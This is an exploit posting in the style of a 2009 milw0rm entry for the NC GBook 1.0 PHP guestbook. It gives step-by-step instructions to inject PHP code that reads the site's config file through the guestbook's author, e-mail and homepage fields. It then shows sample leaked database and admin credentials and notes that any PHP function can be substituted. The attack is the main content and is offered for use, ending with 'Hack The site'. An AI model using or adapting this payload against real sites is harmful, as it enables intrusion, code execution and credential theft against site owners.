NC GBook 1.0 - Remote Command injection Exploit

-------------------------------------------------------------- NC GBook 1.0 Remote Command injection Exploit --------------------------------------------------------------- Founder :ThE g0bL!N Vendor:http://www.php-gaestebuch.com Thank You Very Much His0k4 Download:http://www.php-gaestebuch.com/downloads/1.0/ Note: You Can choose Any Function in Php :) --------------------------------------------------------------- Exploit: -------- 1) Go To Url: --------- http://wwww.victim.co.il/[path]/index.php?gbAction=add . 2) Write In: -------- Autor: <? readfile("./config/config.php"); ?>. E-Mail: <? readfile("./config/config.php"); ?>. Homepage:<? readfile("./config/config.php"); ?>. 3) Post The Topic: -------------- 4) View Source: ----------- 5) Hack The site :) --------------- Exapmle: -------- $gbConfig['database']['system'] = "mysql"; $gbConfig['database']['server'] = "localhost"; $gbConfig['database']['user'] = ""; $gbConfig['database']['password'] = ""; $gbConfig['database']['name'] = ""; ---------------------------------------- $gbConfig['admin_username'] = "ThE g0bL!N"; $gbConfig['admin_password'] = "sh5d81d6zs7yt4g41g"; $gbConfig['admin_email'] = "x0q@hotmail.fr"; -------------------------------------------------- Demo: ---- http://www.php-gaestebuch.com/demo/ ---------------------------------------------------------------- Greetz : His0k4 Dos-Dz TeaM Snakes TeaM And All My Freinds (dz) ----------------------------------------------------------------- # milw0rm.com [2009-05-20]